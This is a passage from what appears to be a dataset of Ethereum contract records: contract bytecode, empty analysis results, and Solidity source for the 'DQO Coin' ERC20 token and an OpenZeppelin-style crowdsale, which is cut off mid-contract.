0000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6106ec816108e1565b50565b6106f761060b565b610769576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6107728161093b565b50565b61077d61060b565b6107ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6107f881610995565b50565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610882576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180610ced6022913960400191505060405180910390fd5b8260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600033905090565b6108f5816001610ad990919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fac6fa858e9350a46cec16539926e0fde25b7629f84b5a72bffaae4df888ae86d60405160405180910390a250565b61094f816001610bb490919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f80c0b871b97b595b16a7741c1b06fed0c6f6f558639f18ccbce50724325dc40d60405160405180910390a250565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610a1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610c726026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610ae382826107fb565b15610b56576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f526f6c65733a206163636f756e7420616c72656164792068617320726f6c650081525060200191505060405180910390fd5b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610bbe82826107fb565b610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180610ccc6021913960400191505060405180910390fd5b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f70657261746f72526f6c653a2063616c6c657220646f6573206e6f74206861766520746865204f70657261746f7220726f6c65526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c65526f6c65733a206163636f756e7420697320746865207a65726f2061646472657373a265627a7a72315820ba59c79a3ac13c87c0a599108216d68da6224c225df4d8687915b44419f4601064736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 3,942 |
0x3a6ad3b097a5623fcea2eb490c921654ee9630ac
|
pragma solidity ^0.4.21;
// File: contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// File: contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract EYHToken is StandardToken, Ownable {
// Constants
string public constant name = "DQO Coin";
string public constant symbol = "DQO";
uint8 public constant decimals = 8;
uint256 public constant INITIAL_SUPPLY = 50000000000 * (10 ** uint256(decimals));
mapping(address => bool) touched;
function EYHToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function _transfer(address _from, address _to, uint _value) internal {
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
function safeWithdrawal(uint _value ) onlyOwner public {
if (_value == 0)
owner.transfer(address(this).balance);
else
owner.transfer(_value);
}
}
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc5780632ff2e9dc14610275578063313ce5671461029e5780635f56b6fe146102cd57806366188463146102f057806370a082311461034a578063715018a6146103975780638da5cb5b146103ac57806395d89b4114610401578063a9059cbb1461048f578063d73dd623146104e9578063dd62ed3e14610543578063f2fde38b146105af575b600080fd5b34156100f657600080fd5b6100fe6105e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610621565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610713565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061071d565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610ad7565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102b1610ae9565b604051808260ff1660ff16815260200191505060405180910390f35b34156102d857600080fd5b6102ee6004808035906020019091905050610aee565b005b34156102fb57600080fd5b610330600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c37565b604051808215151515815260200191505060405180910390f35b341561035557600080fd5b610381600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec8565b6040518082815260200191505060405180910390f35b34156103a257600080fd5b6103aa610f10565b005b34156103b757600080fd5b6103bf611015565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561040c57600080fd5b61041461103b565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610454578082015181840152602081019050610439565b50505050905090810190601f1680156104815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561049a57600080fd5b6104cf600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611074565b604051808215151515815260200191505060405180910390f35b34156104f457600080fd5b610529600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611293565b604051808215151515815260200191505060405180910390f35b341561054e57600080fd5b610599600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061148f565b6040518082815260200191505060405180910390f35b34156105ba57600080fd5b6105e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611516565b005b6040805190810160405280600881526020017f44514f20436f696e00000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561075a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107a757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561083257600080fd5b610883826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166e90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610916826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109e782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166e90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600860ff16600a0a640ba43b74000281565b600881565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4a57600080fd5b6000811415610bd157600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610bcc57600080fd5b610c34565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610c3357600080fd5b5b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d48576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ddc565b610d5b838261166e90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6c57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f44514f000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110b157600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110fe57600080fd5b61114f826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166e90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111e2826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061132482600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156115ae57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561167c57fe5b818303905092915050565b6000818301905082811015151561169a57fe5b809050929150505600a165627a7a72305820433fc4978e666069a3413c529357ead8a98e13fbdac0e9c752b7ffc046ffc0f40029
|
{"success": true, "error": null, "results": {}}
| 3,943 |
0xdb9bcd2a2bcd0d9ce8792107f2fa06af8b1a2844
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conform
* the base architecture for crowdsales. They are *not* intended to be modified / overridden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropriate to concatenate
* behavior.
*/
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a DetailedERC20 token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
/**
* @param _rate Number of token units a buyer gets per wei
* @param _wallet Address where collected funds will be forwarded to
* @param _token Address of the token being sold
*/
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use `super` in contracts that inherit from Crowdsale to extend their validations.
* Example from CappedCrowdsale.sol's _preValidatePurchase method:
* super._preValidatePurchase(_beneficiary, _weiAmount);
* require(weiRaised.add(_weiAmount) <= cap);
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
/**
* @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
// optional override
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.)
* @param _beneficiary Address receiving the tokens
* @param _weiAmount Value in wei involved in the purchase
*/
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
// optional override
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
/**
* @title AllowanceCrowdsale
* @dev Extension of Crowdsale where tokens are held by a wallet, which approves an allowance to the crowdsale.
*/
contract AllowanceCrowdsale is Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
address public tokenWallet;
/**
* @dev Constructor, takes token wallet address.
* @param _tokenWallet Address holding the tokens, which has approved allowance to the crowdsale
*/
constructor(address _tokenWallet) public {
require(_tokenWallet != address(0));
tokenWallet = _tokenWallet;
}
/**
* @dev Checks the amount of tokens left in the allowance.
* @return Amount of tokens left in the allowance
*/
function remainingTokens() public view returns (uint256) {
return token.allowance(tokenWallet, this);
}
/**
* @dev Overrides parent behavior by transferring tokens from wallet.
* @param _beneficiary Token purchaser
* @param _tokenAmount Amount of tokens purchased
*/
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransferFrom(tokenWallet, _beneficiary, _tokenAmount);
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
